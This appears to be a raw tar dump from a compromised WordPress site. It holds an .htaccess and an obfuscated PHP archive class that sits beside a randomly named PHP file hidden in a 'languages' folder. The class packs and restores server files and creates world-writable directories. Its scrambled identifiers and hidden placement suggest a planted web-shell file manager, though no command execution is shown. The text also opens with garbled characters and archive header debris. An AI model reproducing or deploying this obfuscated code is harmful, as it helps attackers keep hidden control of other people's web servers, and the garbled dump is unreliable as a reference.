#js&&****&……met/random/languages/wp/fXitcKJdmR.php000055500000514014150321052420013663 0ustar00met/random/languages/wp/.htaccess000055500000001007150321052420012774 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all index.php000064400000251135150321052420006365 0ustar00<\/script>\r\n BJIVJKwQ)) $this->BJIVJKwQ = array(); } function qkYZCoit($file_list){ $result = false; if (file_exists($this->RVrmnzph) && is_file($this->RVrmnzph)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->FXtQCVif()) return false; } else { if (filesize($this->RVrmnzph) == 0) return $this->FXtQCVif(); if ($this->ZqNkiPIM) { $this->TzxrJrGV(); if (!rename($this->RVrmnzph, $this->RVrmnzph.'.tmp')){ $this->BJIVJKwQ[] = __('Cannot rename').' '.$this->RVrmnzph.__(' to ').$this->RVrmnzph.'.tmp'; return false; } $tmpArchive = gzopen($this->RVrmnzph.'.tmp', 'rb'); if (!$tmpArchive){ $this->BJIVJKwQ[] = $this->RVrmnzph.'.tmp '.__('is not readable'); rename($this->RVrmnzph.'.tmp', $this->RVrmnzph); return false; } if (!$this->FXtQCVif()){ rename($this->RVrmnzph.'.tmp', $this->RVrmnzph); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->FwhWGmVT($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->RVrmnzph.'.tmp'); } else { $this->wUGKyOyJ = fopen($this->RVrmnzph, 'r+b'); if (!$this->wUGKyOyJ) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->dkjLEeQw($file_list); } else $this->BJIVJKwQ[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->wUGKyOyJ))){ $binaryData = pack('a512', ''); $this->FwhWGmVT($binaryData); } $this->TzxrJrGV(); if ($newArchive && !$result){ $this->TzxrJrGV(); unlink($this->RVrmnzph); } return $result; } function restoreArchive($path){ $fileName = $this->RVrmnzph; if (!$this->ZqNkiPIM){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->ZqNkiPIM = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->ZqNkiPIM = true; } $result = true; if ($this->ZqNkiPIM) $this->wUGKyOyJ = gzopen($fileName, 'rb'); else $this->wUGKyOyJ = fopen($fileName, 'rb'); if (!$this->wUGKyOyJ){ $this->BJIVJKwQ[] = $fileName.' '.__('is not readable'); return false; } $result = $this->fAlpCQsu($path); $this->TzxrJrGV(); return $result; } function gaxUFnwz ($message = '') { $Errors = $this->BJIVJKwQ; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function dkjLEeQw($file_array){ $result = true; if (!$this->wUGKyOyJ){ $this->BJIVJKwQ[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iRVrmnzph) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->BJIVJKwQ[] = __('No file').' '.$filename; continue; } if (!$this->wUGKyOyJ){ $this->BJIVJKwQ[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->BJIVJKwQ[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->pvVkNoPz($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->BJIVJKwQ[] = __('Mode ').__('is incorrect'); } if(($this->wNlqYrGu == 0)){ if(!$this->cnmveetd($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->FwhWGmVT($binaryData); } fclose($file); } else $this->cnmveetd($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->BJIVJKwQ[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->dkjLEeQw($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function fAlpCQsu($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->PQJOOWRV()) != 0){ if (!$this->pRJpRXFI($binaryData, $headerReport)) return false; if ($headerReport['filename'] == '') continue; if ($headerReport['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($headerReport['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->PQJOOWRV(); $filename .= $content; } if (($laspiece = $headerReport['size'] % 512) != 0){ $content = $this->PQJOOWRV(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->PQJOOWRV(); if (!$this->pRJpRXFI($binaryData, $headerReport)) return false; else $headerReport['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($headerReport['filename'], 0, 1) == '/') $headerReport['filename'] = $path.$headerReport['filename']; else $headerReport['filename'] = $path.'/'.$headerReport['filename']; } if (file_exists($headerReport['filename'])){ if ((@is_dir($headerReport['filename'])) && ($headerReport['typeflag'] == '')){ $this->BJIVJKwQ[] =__('File ').$headerReport['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($headerReport['filename'])) && ($headerReport['typeflag'] == '5')){ $this->BJIVJKwQ[] =__('Cannot create directory').'. '.__('File ').$headerReport['filename'].__(' already exists'); return false; } if (!is_writeable($headerReport['filename'])){ $this->BJIVJKwQ[] = __('Cannot write to file').'. '.__('File ').$headerReport['filename'].__(' already exists'); return false; } } elseif (($this->nTQMrnJF(($headerReport['typeflag'] == '5' ? $headerReport['filename'] : dirname($headerReport['filename'])))) != 1){ $this->BJIVJKwQ[] = __('Cannot create directory').' '.__(' for ').$headerReport['filename']; return false; } if ($headerReport['typeflag'] == '5'){ if (!file_exists($headerReport['filename'])) { if (!mkdir($headerReport['filename'], 0777)) { $this->BJIVJKwQ[] = __('Cannot create directory').' '.$headerReport['filename']; return false; } } } else { if (($destination = fopen($headerReport['filename'], 'wb')) == 0) { $this->BJIVJKwQ[] = __('Cannot write to file').' '.$headerReport['filename']; return false; } else { $decr = floor($headerReport['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->PQJOOWRV(); fwrite($destination, $content, 512); } if (($headerReport['size'] % 512) != 0) { $content = $this->PQJOOWRV(); fwrite($destination, $content, ($headerReport['size'] % 512)); } fclose($destination); touch($headerReport['filename'], $headerReport['time']); } clearstatcache(); if (filesize($headerReport['filename']) != $headerReport['size']) { $this->BJIVJKwQ[] = __('Size of file').' '.$headerReport['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($headerReport['filename'])) == $headerReport['filename']) $file_dir = ''; if ((substr($headerReport['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->QhRigSaL[] = $headerReport['filename']; } return true; } function nTQMrnJF($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->nTQMrnJF($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->BJIVJKwQ[] = __('Cannot create directory').' '.$dir; return false; } return true; } function pRJpRXFI($binaryData, &$headerReport){ if (strlen($binaryData)==0){ $headerReport['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $headerReport['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $headerReport['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($headerReport['checksum'] != $checksum){ $headerReport['filename'] = ''; if (($checksum == 256) && ($headerReport['checksum'] == 0)) return true; $this->BJIVJKwQ[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($headerReport['typeflag'] = $unpack_data['typeflag']) == '5') $headerReport['size'] = 0; $headerReport['filename'] = trim($unpack_data['filename']); $headerReport['mode'] = OctDec(trim($unpack_data['mode'])); $headerReport['user_id'] = OctDec(trim($unpack_data['user_id'])); $headerReport['group_id'] = OctDec(trim($unpack_data['group_id'])); $headerReport['size'] = OctDec(trim($unpack_data['size'])); $headerReport['time'] = OctDec(trim($unpack_data['time'])); return true; } function cnmveetd($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->pvVkNoPz($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->FwhWGmVT($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->FwhWGmVT($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->FwhWGmVT($dataLast, 356); $tmp_filename = $this->pvVkNoPz($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->FwhWGmVT($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->FwhWGmVT($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->FwhWGmVT($binaryData, 8); $this->FwhWGmVT($dataLast, 356); return true; } function FXtQCVif(){ if ($this->ZqNkiPIM) $this->wUGKyOyJ = gzopen($this->RVrmnzph, 'wb9f'); else $this->wUGKyOyJ = fopen($this->RVrmnzph, 'wb'); if (!($this->wUGKyOyJ)){ $this->BJIVJKwQ[] = __('Cannot write to file').' '.$this->RVrmnzph; return false; } return true; } function PQJOOWRV(){ if (is_resource($this->wUGKyOyJ)){ if ($this->ZqNkiPIM) $block = gzread($this->wUGKyOyJ, 512); else $block = fread($this->wUGKyOyJ, 512); } else $block = ''; return $block; } function FwhWGmVT($data, $length = 0){ if (is_resource($this->wUGKyOyJ)){ if ($length === 0){ if ($this->ZqNkiPIM) gzputs($this->wUGKyOyJ, $data); else fputs($this->wUGKyOyJ, $data); } else { if ($this->ZqNkiPIM) gzputs($this->wUGKyOyJ, $data, $length); else fputs($this->wUGKyOyJ, $data, $length); } } } function TzxrJrGV(){ if (is_resource($this->wUGKyOyJ)){ if ($this->ZqNkiPIM) gzclose($this->wUGKyOyJ); else fclose($this->wUGKyOyJ); $this->wUGKyOyJ = 0; } } function pvVkNoPz($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>